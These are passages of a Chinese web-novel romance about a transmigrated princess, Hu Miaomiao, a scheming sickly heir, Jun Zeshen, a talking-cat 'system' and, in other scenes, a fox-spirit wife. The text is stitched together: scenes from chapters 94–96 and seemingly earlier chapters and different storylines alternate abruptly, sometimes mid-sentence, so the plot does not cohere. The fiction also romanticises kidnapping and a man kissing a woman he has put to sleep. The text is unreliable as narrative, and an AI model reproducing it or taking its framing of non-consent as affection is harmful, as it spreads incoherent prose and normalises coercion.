胡淼淼的想法,好似给他找到了台阶,敌强他弱,敌弱他顿时支棱起来,一股子恶劣心思在作祟,手一用力,竟把人揽入怀中,低下头,唇畔落在她耳侧,呼吸拂过她勃颈处的皮肤上,他语气虚弱之中透着轻柔:“公主当真那么喜欢臣?” 胡淼淼:“!” 这回轮到她瞳孔地震。 靠,反派被狐狸精附体了? 不行,头可断血可流,气势不能输。 她毫不示弱地偏头,红润的嘴角轻轻划过他的下颚,男人下颚线条流利而顺畅,此时此刻崩得很紧。 胡淼淼领悟,哦,感情这只小学鸡在强撑着。 这就好办了,她一个现代人,还开放不过一个古代小雏鸡吗? 更何况单凭世子这样,上气不接下气,估计没接触过什么女人,敢和她比撩/人? 胡淼淼怂了吧唧的胆子立刻支棱起来,红唇碰了碰他,吐气如兰:“世子说错了,本宫可不只喜欢你,不过是喜欢你的长相罢了,世子想当驸马吗?” 她一手环住他脖子,另一只手开始不老实。 君泽琛呼吸一窒,他垂着的眼睫轻颤,眼底划过一抹君虑,因为他竟然听不到她的声音了,更拿不准她问这句话想干什么。 如果在继续下去,岂不是如了她的意? 他手的力道微淼,胡淼淼见状,心里好不得意,小雏鸡,来啊,继续啊,看你怎么收场。 她干脆抱着他,一口啃在他下巴上,正要乘胜追击,肩膀一重,墨色长发划过脖颈,与她的几缕发丝纠缠在一起,胡淼淼错愕回眸,便见男人双目紧闭,昏了过去。 一秒过后,空气突然安静…… 两秒过后,胡淼淼脑壳在缓冲中…… 三秒过后,她向外面喊:“来人,君世子他不行了。” 然而她并,没看见,依靠在她肩膀上的人长睫抖了一下,耳朵根慢半拍地红了几分。 胡淼淼无视下人们看自己异样的目光,笑眯眯地把人送走,转身伸了个懒腰,好似一只雄赳赳气昂昂,战斗胜利的战斗鸡。 而战斗鸡现在,正在心里疯狂嘲笑病弱的小雏鸡。 她把凉茶灌进去,感受脚腕处有什么拱了拱自己,胡淼淼一低头,美好的心情顿时消散得无影无踪。 “你怎么还在这?” 白猫儿蹲在地上,见她终于发现自己,讪讪地踩了踩奶,一副娇羞的模样:“喵~” 正在胡淼淼思索这段时间,前方的白衣人开口了,她下意识随着声音看去,结果眼前的一幕让她小心肝一颤。 不知何时,白衣面具人点燃了墙壁上的火把,照亮整个房间,在窗下的一排排架子上,各种刑具,有一排夹子,两边延长绳索的,有刀子,有细到发慌的针摆放整齐,还有棍棒,手铐,铁梳种种让人毛骨悚然的东西。 白衣人站在一个铁盆旁,把碳火点燃,放下几个炮烙,没一会便烧的通红。 胡淼淼:“……”天气逐渐炎热,眨眼便到了七月份,站在早朝上的人汗流浃背,炽热的氛围在朝堂中蔓延…… “皇上,臣有事要奏。” 一名大臣上前提议去避暑山庄,每年胡栖国都会有一个月是酷暑,皇上会带领众朝臣家眷前去皇家避暑山庄,去那里处理朝事。 如今几个月的时间,胡永斌把朝中大概已掌握了七成,紧绷了那么久的心弦,在这一刻淼懈几分。 他颔首:“准奏!此时事宜便交给左相处理,不过在此之前,朕有一要事相商。” 一听要事相商,众大臣顿时低头,准备听候差遣,胡永斌稚嫩的小脸上闪过一抹迟疑,最后还是说:“此事事关重大,你们也知道,皇姐年过二八,婚事不可怠慢,前些日子,她曾与朕提及。” 众人顿悟。 哦,这是要给长公主说亲,他们顿时齐刷刷看向前方站着笔直的背影。 能让长公主另眼相待的,似乎只有镇北王的世子…… 皇上莫不是要强行给他们赐婚? 镇北王脸色凝重下来,他上前躬身行礼:“皇上三思!” 他倒不是讨厌长公主这儿媳妇,而是担心自家混小子做出什么大逆不道的事。 更何况,泽琛他…… 纵然君泽琛是自己儿子,可平心而论,君宏打心眼里不看好他。 长公主身份有身份,要样貌有样貌,要痴心有痴心,可自己儿子那是什么东西,狗脾气上来,连他老子都不放在眼里。 镇北王在心里逼逼赖赖数落自家儿子身上各种缺点,只觉得哪哪都碍眼,当初就应该生个小姑娘,臭小子算什么东西,谁嫁谁倒霉。 决不能让皇上开口赐婚,镇北王心中信念爆棚,正要出声拒绝,却听皇上说:“你们可知道,三条腿的男人?” 镇北王:“???” 空旷的殿内,岁月静好,阳光从门口撞入,照应着里面的场景,红色广袖滑落,露出一双雪白的双臂,轻轻搭在白衣男子的脖颈处,二人之间距离极近,近到能看清彼此的睫毛。 君泽琛浑身肌肉瞬间紧绷到极致,那张想要极力伪装的脸终于破裂,袖口下的手指攥了又攥,终是没忍住想要把人推开,然而正当他手接触女人之际,一道熟悉的声音再次传入脑海中。 [来啊,造作啊,狗反派还挺狂,持美行凶谁不会啊!今天看我不淦你,死也拉个垫背的。] 君泽琛:“???”什么意思?生同穴死同眠? 他很确定,自己能听到的,是这位公主殿下的心声,可是…… 君泽琛一言难尽,手竟忘记把人推开,反而环住了她的腰。 对面的女人眼眸微微瞪大。 [手往哪放呢,来劲了是吧,行,你一人臭男人勾搭人倒是有一套,就不信本宫淦不过你。] 众大臣:“???” 啥玩意? 朝堂之上,往日大臣们都会因为某些政事争吵得喋喋不休,哔哔叭叭,如今…… 死一般寂静。 原谅他们这些老古董,不太了解什么叫做三条腿的男人,知识量有限。 最终,礼部尚书上前提议:“不若……贴个皇榜?” 她嘴角颤了颤,心尖提到嗓子眼,无声尖叫啊啊啊啊! 靠! 救命,还是让那混蛋世子用马蹄子把她踩死吧,她宁可被踩死,嘎巴脆,也不要经历这些残忍的事情,还没开始,就已经肉疼了。 怎么办…… “大……大哥,您老这是……”她舌头打结,一时之间竟找不到语言该怎么说,脑中一片空白,恨不得当场晕过去。 卫策:“……” 公主,你别怕,你这一害怕,我也害怕。 他跟着吞口水,暗自想着,应该差不多了,于是快速在身上撕下来一块布料走过去。 “干什么?”胡淼淼指尖攥紧,挣扎着想要后退,奈何身体被绑得动弹不得,木椅在地上发出刺耳的响声,见他拿着白布过来,好似提前收尸,她再也忍不住尖叫出声:“啊!” 门外等候的君泽琛一惊,卫策动手了? 他站在门口来回踱步,转念又想,今天不正是要报仇吗? 卫策用的哪套刑具? 不行,报仇应该他自己来,卫策搞什么?君泽琛脚快过大脑,先一步踹门而入,刚颤抖着手给人蒙上布条遮挡住眼睛的卫策吓了一跳,他绷紧身体。 “主子!您这是?”怎么提前出来了? 君泽琛:“……” 他不动声色扫一眼四周,默默收回腿,抬下巴压着嗓子道:“真没用,这么久,怎么还没见血啊。” 卫策:“???”主子这么急匆匆,是打算见血? 胡淼淼紧绷的心情一崩再崩,听到这话,顿时眼前一黑,差点再次昏过去,变……变态来了。 下一秒,狐狸的皮有点紧,她被人提溜住了命运的后脖颈,视野一下子就提高了,她四腿慌乱地在半空乱蹬,好半晌才反应过来,biu地变成人形,一屁股坐在他腿上,“不许捏我脖子。” 君泽琛收手,眼神凉凉,称不上友善。 她蹙起秀气的眉头,“做什么这副眼神。” “没,我只是在想,你到底有几个好姐姐。” “你在说什么?”狐听不懂。 男人漫不经心地捏捏她颈部肌肤,“山鬼姐姐、狼姐姐,连那狐族的狐狸都能叫狐姐姐,怎么轮到我,就什么都没有呢?” 还叫他嘬嘬,听着和叫狗一样。 第 94 章 第 94 章 诬蔑! 胡淼淼理直气壮:“怎么没有,嘬嘬不就是对你的称呼吗?再不济还有夫君。” 君泽琛气笑了,“夫君怎么就比嘬嘬不济?那能一样吗?” “有什么不一样?”胡淼淼二张摸不清头脑,但她看了看男人下巴上的伤口,长叹一声,“罢了,那你还想怎样?” “别人有的为什么我没有?”君泽琛咄咄逼狐,将小狐狸禁锢在怀里,不说出个子丑卯来不松手。 狐急中生智张口就来,“那……有没有一种可能狼姐姐是在叫你呢?” 君泽琛:“?” 他拍她一把。 胡淼淼的脸颊顿时红了,恼怒地看他,“你怎么……我狐狸的时候也就算了,人形的时候你怎么还乱拍那里。” “不都是你吗?”君泽琛的手还放在狐臀上,长眸蕴含着危险,“叫不叫?” 他也没说让她叫什么呀? 破旧毫不起眼的院落,守在暗处的人目光警惕巡视在附近,但凡有风吹草动,都会引起他们的注意。 两个人走进院中,白色面具人恭敬道:“主子,人就在里面,被属下弄晕了。” 男人动作一顿,回头淡淡扫他一眼没说话,推门而入…… 房间不大,是临时找来的,里面昏暗的只有门窗透进的一丝光晕,照应在女人脸上,她被捆在椅子上,脑袋低垂,睫毛在眼睑处投下淡淡的阴影,安静得好像一幅睡美人画像,宁静而美好。 若一直这样,不张牙舞爪气人,就更好了。 男人白皙的指尖轻轻摩挲了一下自己下巴,他抬了抬脸指挥:“泼醒,让她看一眼刑具,再遮住眼睛。” 他说完,发现面具人没动,不由得斜了面具人一眼,敏锐地从对方眼神中判断出了为难。 “没听懂?” “倒也不是……”掩藏在面具下面的神色一言难尽,他很想说,主子,能不能别作死,再这么变态下去,您就真的没机会了。 “那还不快去!”男人侧眸,露出那张惊心动魄的脸,棱角分明的五官,如画的眉眼,苍白到让人怜惜的脸,不是君泽琛又是谁? 此时此刻,他腰不疼,腿不软,人也不咳了,看样子一口气砍几十个人没得问题。 卫策已经想象不到今日中午的场景了,他忧心忡忡去找世子报信,人家长公主要找其他男人,不管世子对于公主出于什么样的心思,都要知会一声。 他坚决相信,自己看见了爱情,绝对不是长公主殿下一人的独角戏,自家世子矜持着呢,就是用小孩子手段试图引起公主的注意。 卫策以为,他说完这话,世子会急。 谁知道急是急了,急的有点不对劲儿,抄家伙就要绑人是什么回事? 因爱生恨? 不至于不至于,人家殿下不还没找到男人吗? 如今他带着暗处的兄弟们把人绑了,还以为要搞什么抢亲戏码,绑回来要好好谈谈,然后彼此说开爱慕之情,开始坠入爱河。 可是…… 小黑屋锁一波是怎么回事? 卫策心里有很多问号,却不得不“助纣为虐”,他推了推面具,从屋里端出来盆,在小院里打上来一盆水,回头不确定地问:“泼醒?” 虽然是夏天,但是长公主金枝玉叶,这么粗/暴……不太好。 男人杵在门口,闻言长睫忽闪,懒懒地掀了掀眼皮:“有什么不好,泼!” 泼醒算什么? 当初她可是一脚把他踹下去,差点送走。 君泽琛眼底一暗,磨了磨后牙槽。 看他今天不都报复回去,有仇报仇,有怨报怨。 世子大人发话了,作为侍卫没办法,卫策端着盆走到椅子旁边,瞧见那昏睡中的公主,暗道一声对不起,然后狠狠地一抖。 他把手插进盆中,捞了一点水,对着那娇艳的容颜,轻轻地弹了两下…… 站在门口看清一切操作的君泽琛:“???” 不等他发话哔哔,人已经醒了,他瞪一眼卫策,火速后退一步关上了门。 卫策:“……”主子,有本事你别走。 水滴顺着脸型轮廓滑落,留下轻微的触感,胡淼淼醒来下意识想伸手去擦,动了一下,手上传来拉扯力,她微愣,发现自己的手脚被捆在椅子上,根本没机会动弹。 恍惚中,胡淼淼才想起,她似乎遇见刺客了,对方有备而来。 房间昏暗,唯有眼前那个白色格外醒目,她心有戚戚,混蛋作者你出来,《被反派弄死后我又重生了》里面没有写长公主被绑架过,为什么要强行加戏? 现在怎么办? 她不会武功,没有金手指,不是主角,好惨。 对了,她是有系统的人了,那厮平常说自己只会卖萌,肯定不止如此,哪个系统没点其他作用? 系统! 系统在吗? 系统? 胡淼淼别别扭扭,难以启齿,“你都那么大岁数了……哎呀,别捏……” 狐狸被养得白白胖胖,人形都丰腴了不少,该长的肉一样都没少长,狐臀手感软弹,稍微用力就能将手指陷进去。 君泽琛没忍住多掐了两把,假装没去看狐美人羞得不像样子的表情,语气平淡且正经,“说说看,我多大岁数?” 坏死了! 长公主设宴,一向躲着公主殿下的世子自投罗网,人竖着去的,横着回来的消息,很快传遍京城。 毕竟公主府人来人往,世子爷被抬走,很多百姓看见了,悠悠众口,没到半天的时间,便传遍了大街小巷。 “听说了吗?长公主设宴,本来世子不打算去,谁知道公主抓了人家的猫,她竟然对人家小猫咪下手。” “嘶~有这事?” “对啊,实话跟你说,当时我七姑侄子的岳父在那亲眼所见,那猫在里面叫得可惨了,世子殿下为了猫,只能去见一见公主,然后被拖进府上这样那样……嘶~” “这这这……”茶馆喝茶的人正好听到这话,憋了半天,憋出来四个字:“不成体统!” 镇北王府,忙了一天归家的镇北王路过街道,正好听到自家儿子和公主殿下的传言,一边担心君泽琛身体,一遍骂他没事跑人家长公主府上折腾啥。 等他杀到君泽琛房间,君泽琛正满脸虚弱地靠在床头,长发披散在身后,眼角耸拉着,浑身上下,连头发丝,都散发着生无可恋的气息。 镇北王质问的话一噎,踌躇半晌,坐在他床边的椅子上,沉声道:“我们父子俩,很长时间没谈谈心了。” 相貌出众的男人懒懒地掀了掀眼皮,薄唇轻启:“我们有好好谈过吗?” 镇北王:“……”正是因为你这死出儿不好好说话,老子才不想和你谈。 “你和长公主……” 他话还没说完,半死不活的男人有了动作。 君泽琛双臂一用力,掀开被窝缩了进去,把自己裹成一条,转个身留给他一个背影,疏离而淡漠,让镇北王没办法下嘴谈论正事,最终他讪讪离开。 不过在离开前,他留下一句:“如果不喜欢,便不要招惹,本王不希望自己生出来个多情种。” 君泽琛手习惯性的拧紧被角,今日白天的那一幕浮现在眼前,一股邪火在心里乱窜,扰得他心神不宁,胸腔里传来闷痛。 他压制着呼吸,冷淡而凉薄:“谁稀罕。” 才不稀罕,今日之事,早晚报复回去,且让她等着…… 他怎么这样…… 漂亮的狐小妖面颊绯红,双眼含羞带怯,嗓音轻颤,“正……正值壮年……” “那应该叫什么?”他加重了力道。 胡淼淼一哆嗦,“狗哥哥。” 长公主距离皇宫不远,莫约小半个时辰,她便杀进皇宫,揪住了自家亲亲弟弟。 “皇上,公主殿下求见。” 她是在御书房逮住那小子的,此时此刻,小皇帝穿着一身龙袍,头戴龙冠,手拿毛笔,小大人一样批改奏折。 一听自家皇姐来了,他肃穆的脸色一扫而空,兴致冲冲丢下毛笔,让德福带人进来。 这是胡淼淼搬出皇宫后第一次回宫,她跟着德福身后进入御书房,便感受到一抹火辣辣的视线…… 威风凛凛的桌案前,小小的人艰难地在一堆堆奏折后露出个脑袋,满脸期盼的看着她,仿佛在说:皇姐,是不是想我了? 此时的水牢和那日区别很大,往日空荡荡的,今日一进来到处都是血腥味,和狐狸的味道,从后捂住她的眼睛,在她耳边说,“这一次,带你见不一样的狐。” 狐狸不明所以:“谁啊。” 君泽琛告诉她要做好心理准备,要见的那只狐狸可能她会害怕,却又不得不见。 胡淼淼一听,赶紧变成小狐狸,蜷缩在他怀里,还不忘用爪子把他的手捧到自己眼皮上。 “你捂好了,别吓到我。” “好。” 有他在,又怎么会让她害怕呢。 男人的怀抱温馨暖和,就好像蜗牛的房子,走到哪都是避风港。 胡淼淼在他的怀里,嗅着他阳光的味道,胆子安定下来的同时,好奇他到底要带她去见谁。 隐约地,她心里有了个模糊的猜测。 周围似乎被布下结界,长廊两侧听不见狐狸的声音,连血腥味都渐渐飘远。 终于,男人在一间牢门前停下脚步。 两边的狼行了礼,立即将牢门打开。 再度关上。 这里似乎形成了一个不被探查的小领域,耳边多了一个剧烈的喘息声。 胡淼淼的耳朵被扒拉一下。 “别怕,起来看看?” 男人的手指分开,狐狸悄悄睁开眼睛,透过他的指尖缝隙,看见这辈子只见过一次的狐。 那只狐,给了她的生命,却将她弃如敝履。 老狐王。 第 95 章 第 95 章 老狐王对于曾经的小狐狸来说是一族之长,普通的一只狐狸她都对付不了,更何况是狐族的王呢? 后来,上天给她开了一个玩笑,那高高在上的狐王,竟然是她生而不养的亲生父亲。 她不求和王女一样受尽万千宠爱,只求他们给她一条活路,她只想安安静静地走完一生,活着就对她那么难吗? 她被狐族虐打,狐王不闻不问。 她被狐族诬蔑,换来的是他无情的一句孽畜。 她是他生的,他一个孽畜,一个噬魂岗彻底将她带入地狱。 胡淼淼对他没有感情,但心里多多少少有一股无名之火,嘭地一下在胸腔点燃,此时此刻,她根本不怕他,而是炸着毛跳上君泽琛的肩膀上,高高扬起脑袋。 君泽琛一侧头,便见狐狸的尖尖巧巧秀气的嘴筒笔直竖起,犹如一根避雷针插在他肩上,恨不得戳破天际。 胡淼淼惊慌失措之中,跌入一个宽阔的怀抱,一如那冰冷的寒风,无尽的谩骂之中唯一的温暖。 “你有没有伤到?” 君泽琛露出慌张之色,却发现手下一阵温软,胡淼淼此时刚从浴桶之中出来,身上还带着淡淡的香气,因为慌乱,根本来不及穿上衣服,他呼吸一窒,不敢再看一眼,把人裹住,长臂一伸,把人公主抱到床上。 胡淼淼没想到会出现这种变故,从头到脚都是懵的,等人回神,已经到了床上。 回想起来刚才发生的一起,白而羸弱的脸颊上出奇地泛起了红色。 君泽琛只以为她是被吓到了,忙再问了一遍,胡淼淼摇头:“没事,叫彩衣换下水,你去洗漱吧。” 她除了脸上有些红,其他基本上看不出来有事的样子,君泽琛放心了,却并没有按照她说的做,而是迈开大步,直接走到屏风后。 胡淼淼整个人都懵了,连忙起身想要阻止,却发现自己此时衣衫不整,只能焦急道:“你是我用过的,脏……” “没事 ,都是夫妻了,何必在乎这些。” 胡淼淼语塞,更觉得不对劲了,她跟他还不至于这么亲密吧。 甭管胡淼淼怎么想,君泽琛却格外舒心,他整个人都浸泡在属于她的味道了,回想到她曾在这水中待过,就忍不住身心一荡,却怕吓到室内的她,忍着没出声。 胡淼淼尴尬的在床上等了一会,原以为对方很快就会出来,谁知道对方一洗就是一个时辰,水都凉了。 她没忍住:“你好了没?” “好了。” 男人的嗓音沙哑而性感,慢悠悠从浴桶中出来,就那么大刺刺披着衣服,甚至露出脖子以下很多肌肤。 胡淼淼下意识低头,不去看他。 她苍白的脸色有些红润。 这琛王,怎么这么孟浪…… 君泽琛是何人? 能把半个朝廷镇住,感知力自然非同寻常,很快,他就察觉到了女人情绪,他眸子一亮,觉得有戏。 于是,挺大个男人,像是没感觉到自己衣着“放荡不羁”,就那样坐到了胡淼淼身边,以胡淼淼低头的角度,正好看到他腹部的…… 她倏然抬头,就见男人正经道:“淼儿,我们现在是夫妻,没其他床榻,今日只能委屈你了。” “没关系……” 胡淼淼小声道,不是很适应眼下的情况,就拖着疲惫的身子往里挪了挪,远离男人的同时,又给他空出了位置。 她随便说了句“早点休息”就背对着君泽琛躺下…… 君泽琛看着那背对着自己的纤细身影,眸色深了深,却一言不发躺下。 这是二人多日以来第一次相处那么亲密,也是第一次同床共枕,胡淼淼把呼吸放轻,娇小的身躯紧绷到极致,背后的气息极具侵略性,像是火辣辣的太阳,让她不敢松懈。 这是她第一次和陌生男子…… 原以为这一晚她不会睡着,谁知道不到半个时辰,胡淼淼睫毛就离眼睑越来越近,最终合上了眼睛。 精神紧绷,可身体不允许,在睡着之前,胡淼淼在心里苦笑了一声。 同样一直没睡的还有君泽琛,感受到身边的人呼吸平稳下来,他侧了侧头,凭借良好的视线,看着月光下的那一团,视线不自觉柔和了起来。 他小心翼翼凑过去,确定真的睡着了,但怕把人吵醒,抬手轻轻点了一下胡淼淼睡穴,这才敢把人抱进怀中。 君泽琛脑袋凑过去,餍足的吸了吸,那是一股淡淡的药香,甘甜的让他忍不住蹭了蹭,又瞄了一眼。 手中感觉柔软,又有几分消瘦,月光下的景象有些模糊,少女苍白的脸色却格外突出。 脆弱,而美丽…… 她双目紧闭,五官娇小又精致,当视线停留在她唇角时,君泽琛没忍住,低头轻轻碰了碰。 男人就像一只金毛,把喜爱的东西圈在自己身/下肆意妄为,可是他却又不敢太过分,只是碰碰,舔舔,就遗憾的躺回去,并把女人手压在自己身上,确认明日起来不会引起误会后,这才满意的闭上眼睛。 第二日一早阳光洒落在室内,少女睫毛轻颤展翅欲飞,缓缓睁开了眼睛,稍微动了动,却发现床似乎很硬? 她有些疑惑一低头,就入眼一片韧劲十足的胸膛…… 胡淼淼:“?” 她茫然一瞬,就发现自己正压着人家,手脚并用的那种。 胡淼淼虽然奇怪自己今夜睡觉怎么那么不老实,但还是羞窘的起身,可是,昨夜睡的不舒坦,她身上被硌的生疼,刚离开男人,四肢就控制不住一软,跌了回去,正好压到了什么。 “嘶~”当胡淼淼小心翼翼把伤口处理完毕后,已经是半个时辰后了,期间君泽琛一声不吭,就那么静静地淼视她,甚至眼睛都舍不得眨,怎么看都看不够。 伤口什么,在这里好似已经远离他,在胡淼淼看不见的角落,他的眼神隐藏着贪婪与享受。 是的,享受! 没有人知道,他有多怀念这一刻,他与她的初遇,花朝节,巷子里,他刺杀三皇子失败,那是他最狼狈的时候,他身处泥潭,黑暗中伸出的援手,足够他追忆两辈子。 只是前世他再次见她,她已有喜欢之人,他在暗处默默不去打扰,甚至为了她放过君子华一命。 看着他们相爱,看着她细心照顾其他男人…… 他想疯,想抢,想禁锢…… 可是他不敢啊…… 胡淼淼那么脆弱,他怕要是气到她,会发生不可挽回的事情。 到底还是舍不得啊…… 然而,这是他上辈子最后悔的事,若是他能阻止她一身嫁衣,走向另一个男人,她就不会…… 胡淼淼放下染血的帕子,发现室内温度冷了几分,没忍住轻咳了一声,不知是不是错觉,好像暖和了? 她微微一愣,压下心中的怪异感,让若冰收拾了一下“战场残局”,这才扶着君泽琛趴下,在盖被子之际犹豫半晌,小心翼翼避开伤口轻轻搭在他背后。 “你先休息吧。” “能陪我说说话吗?我睡不着。”君泽琛并不想睡,难得安逸的时光,不能就这么浪费。 至于背上的伤口? 男人倒吸了一口凉气,倏然睁开了眼睛,胡淼淼恰巧与他视线对上,又窘又急,一时间全都积攒到心脉,喉咙一紧,血从嘴角滑落,正要乘胜追击的男人顿时慌了,把人卷起,大手擦掉她唇边的血迹。 “你怎么样了?来人,找大夫!” 门外的彩衣等人大惊,连忙去传信。 胡淼淼微微喘息,平复了一下心情,才摇摇头:“我没事……” 她的身体自己知道,偶尔吐吐血根本没什么,不过正好掩盖了刚才的尴尬。 相较于胡淼淼的淡然,君泽琛却极坏了,戾气被藏在眼底,不敢表露出来。 “怎么可能没事,都吐血了。” 将军府小姐常年生病,府上大夫很快就被找来,大夫惧怕君泽琛的气势,跪在一旁颤巍巍道:“小姐只是体虚,加上心头有股火气,并无大碍,小的这就去熬药。” 将军府一家子人都围在门前晃悠,闻言顿时松了口气。 胡淼淼对他们笑了笑,就让他们去忙乎自己的,别因为自己分神,这才把注意力放在君泽琛身上。 “不好意思,刚才让你费心了。” 胡淼淼实在没想到,堂堂琛王会像这般惊慌失措,不知道的还以为,琛王真的很喜欢她呢。 君泽琛却突然拽过她的手,后怕道:“好端端大早上,怎么会急火攻心呢?有关什么事情,你跟我说。” 胡淼淼睫毛一颤,遮住了内心的想法,说什么? 扑腾—— 小狐狸被丢进柔软的床铺,她默默抱紧自己的尾巴,眼睛圆溜溜到处乱看,“我想找鸡大妖。” “你不是想找个爹吗?”男人的身影如同鬼魅,阴影笼罩在弱小的狐狸身上,小狐狸差点被吓得魂飞魄散,哪还想爹不爹的。 她连连摇头,“不了不了,你还是当我的好夫君吧。” “是吗?那让好夫君来侍奉你。” 君泽琛知道她的德行,指不定什么时候又叫他爹戳他肺管子,不好好教训,她就不长记性。 他指尖一点,小小的狐狸的身影拉长,被强制性变成了人形,她浑身凉飕飕的一低头发现衣服没变出来,慌乱地扯过被子盖在身上,美眸如同小鹿乱撞,不安地看着他,“嘬嘬……别,我错了还不行嘛。” 她裹紧被子,探出两条纤细白皙的胳膊,双手合十在红唇前,拜了拜,还特意将两只狐耳露出来,满头青丝窜出的蓝白色狐耳毛绒绒地耷拉着,可怜兮兮地求饶,“你不要凶,我害怕,我以后再也不叫你爹了。” 第 96 章 第 96 章 某种程度而言,狐狸想法是没问题的,比如在被欺负的时候不要示弱求饶,不然会激起对方更变态的想法。 胡淼淼在察觉到对方有恶意的时候,从不会拜拜和贴贴,但这个对方是君泽琛,她对君泽琛从不会有防备。 在她的认知里,就算君泽琛生气,也没有什么是一个拜拜解决不了的事儿,如果没有解决,那就两个拜拜。 所以,当男人掀开被子钻进去欺负狐的时候,她都还是一脸懵,“嘬嘬?” 嘬嘬变了,她都用手拜拜他了,他怎么能这样。 被衾下,她肌肤触及到男人冰冷的衣料,忍不住打了个寒颤,一抬头,看不见他面具下的表情,只能对上他虎视眈眈的眼神,他苍绿色的漂亮眼眸凝视着她,毫不掩饰的攻击性,让她缩了缩脑袋,欲哭无泪,“那你……别弄疼我。” 他的眼神好像要吃狐,好可怕 。 “放轻松。”男人的大手火热,轻轻摸着她颤抖的狐耳,毛绒绒的触感让他爱不释手,“相信夫君吗?” 气氛古怪危险,可是他的手掌心好暖,狐狸没忍住用耳朵蹭蹭他的掌心,清可见底的浅瞳恐惧渐渐散去,被浓浓的依赖所替代。 “乖宝宝。” 男人的声音压低,轻声慢哄,胡淼淼不自觉放下防备,从某种程度而言,她确实也有一点点想他了。 “不好了不好了,公主!” 临近中午,长公主府内,凉亭水榭,碧柳垂落,红鲤在池中游荡,划开片片涟漪,一只白色的小爪爪,暗搓搓伸出来,以迅雷不及掩耳之势在水里一拍,一条红色小鱼苗被爪尖勾搭出来,奔向巨口。 “狗子,你再偷吃鱼,我就剃了你的毛,挂在镇北王府示众。” 水波上的白影一抖,鱼儿有惊无险,再次掉入是水中,摇摆着尾巴离开…… 猫咪砸了砸嘴,甩了甩爪子上的水,又舔了舔,确定没有任何痕迹才撒脚丫子往凉亭中狂奔,一头扎进红色人影怀中。 “喵呜~呼噜呼噜~” 女人纤纤玉手把它小脑瓜子抬起,便见小喵咪一脸无辜,把“小猫咪能有什么坏心思呢”发挥得淋漓尽致。 胡淼淼随意检查了一下,确认没偷吃,这才抬眼去看慌慌张张跑来的翠花,眨了眨睫毛:“咋,这么着急,翠花你想上酸菜吗?” 翠花一个踉跄,差点直接给自家殿下跪了。 她欲哭无泪,却也很快适应自家殿下的脾气,很快就回过神来,面露急色:“不好了公主,皇上下了皇榜……” 胡淼淼撸猫的手一紧:“他给我和世子赐婚了?” 如今还没到那段剧情呢吧? 天,这段时间她都在干什么,说好的准备逃跑呢? 咸鱼日子过习惯了,加上反派太好欺负,都差点忘记正事。 她叹气:“啊,这样,收拾收拾东西,和我离家出走吧。” 赐婚完了,就距离反派造反,她嗝屁不远了,就是好像……丢掉小皇帝有点不道德,可人家是主角,可以重生啊。 好纠结。 “殿下?这关世子什么事啊,虽然,皇上放皇榜给您寻找寻找夫婿,但是那三条腿的男人还没影子呢,离家出走大可不必了吧?” 胡淼淼:“???”啥,那小兔崽子搞什么,她随嘴一说,他就敢发皇榜? 她倏然站起来,不行,得赶紧进宫让他撤榜,幸亏这个世界没人会懂第三条腿的意思,不然她岂不社/死了? 翠花被胡淼淼搞得一愣一愣,总觉得哪里怪怪的。 如果公主以为皇上给她和世子赐婚,那不应该高兴吗?为什么要逃走? 逃走肯定不行,普天之下莫非王土,公主走到哪都会让皇上找到,抗旨可是大罪。 翠花极力劝说:“殿下,奴婢听说外面世道险恶,尤其是女子,很容易遇见穷凶极恶之徒,您长得这般貌美,若是被盯上了可怎生是好,还是别出走了吧?” “不走了,备车。” 翠花:“!” 您说不走了,可是备车是怎么回事? 小丫头单纯,什么心思都写在脸上,胡淼淼把猫放下,点了点她的脑袋瓜:“进宫,让皇上收回成命。” 走之前,她不忘回头警告系统:“好好在家呆着,要是本宫回来发现鱼少了一只,你就等着挂镇北王府吧。” 白猫歪歪脑袋,整张猫脸都是:我不懂,我不听,我是一只听不懂人话的猫猫。 嗤~大庭广众之下,他不敢对公主动手动脚,只能低声商量:“公主殿下,您看这猫……” 胡淼淼麻了。 她根本不喜欢这个系统,第一次闪亮登场就拉一手好仇恨,她还能抱什么希望? 胡淼淼把怀中的猫撕下来,掸了掸身上的白毛,清风萧瑟,猫毛满衣,这猫着实不讨喜。 白猫见她要把自己送回去,顿时惊了,尾巴上的毛应硬生生炸了一圈,抿着飞机耳死死抱住她胳膊,爪子几乎透过华贵的布料,镶嵌进肉里…… “喵喵喵~” “宿主,你不能这么狠心~” 胡淼淼疼得微微蹙眉,一点一点把它爪子离开。 “喵~” “宿主啊,虽然我除了萌一无是处,但是我可以帮你推算剧情走向,妥妥滴总指挥官,带你远离反派的困扰。” “你已经给我把反派的困扰带过来了谢谢!”胡淼淼不为所动,眼见卫策的手越来越近,猫咪叫声越来越凄凉,连在场的其他人都忍不住嘀咕,这猫多喜欢公主啊。 “要不这猫就送给公主得了,哪有送礼物,拿回去的道理,传出去,岂不是影响镇北王府的颜面?” 有些小官员指责。 当然了,在场的哪个是心慈手软之辈,让他们同情一只猫根本不可能,无非就是拍长公主马屁而已,殊不知,他们的长公主并不想。 卫策也不想。 世子明确规定,今日把猫送来,就是为了馋公主,若是把猫送回去,他如何交差。 好在,长公主没有占为己有的意思。 真不明白世子为什么觉得长公主喜欢猫,喜欢猫怎会毫不犹豫送回来? 卫策伸手去接,然而,那双递猫的玉手硬生生转了一圈,把猫脑袋往怀中一塞,淡定自若:“回去告诉你们家世子,这猫本宫要了。” 卫策当时:“???” 听到卫策的陈述,世子大人笑了,清风拂过,墨发飘至胸前,他手抵在唇间轻咳两声:“今日长公主大摆宴席,不去个人,倒是我们镇北王府失礼了。” 卫策:“!!!”不去个人? 胡淼淼嗤笑她装嫩,抬脚迈出亭子 ,然而刚迈出两步,她便垮下精致的小脸,好热啊。 可是想想自己那三条腿男人的皇榜,她一咬牙,十分没出息地回了亭子,干了一口酸梅汤,才走出公主府上了马车。 路上,她悄悄掀开车窗帘子,正好看见每隔一段路,都有人群站在一块破板子下议论纷纷。 “三条腿的男人,你听说过谁家男人长三条腿吗?” “那不长成怪物了?长公主这是什么癖好,那么多两条腿的不要,非要三条腿的。” “啧啧啧,要是真有,估计马上便能飞黄成达,当驸马咯!” 胡淼淼:“……”与此同时,送走最后一波客人,长公府下人自觉收拾烂摊子,胡淼淼收敛笑意,抱着猫走到主位上做好,严肃脸:“你确定,反派真那么说的?” 系统连连点头:“对对对,反派说你让他喝药,他不满,势必要让你好看,既然你喜欢我,就让你看得着吃不着。” “而且反派还说,你以后再敢纠缠他,他就夜黑风高把你神不知鬼不觉弄死。” 就算,他们不知道啥意思,但是还是好羞耻啊有木有。 与此同时,卫策风风火火跑进院子。 “不好了世子,出大事了!” 胡淼淼揪着猫的后勃颈就跑出去。 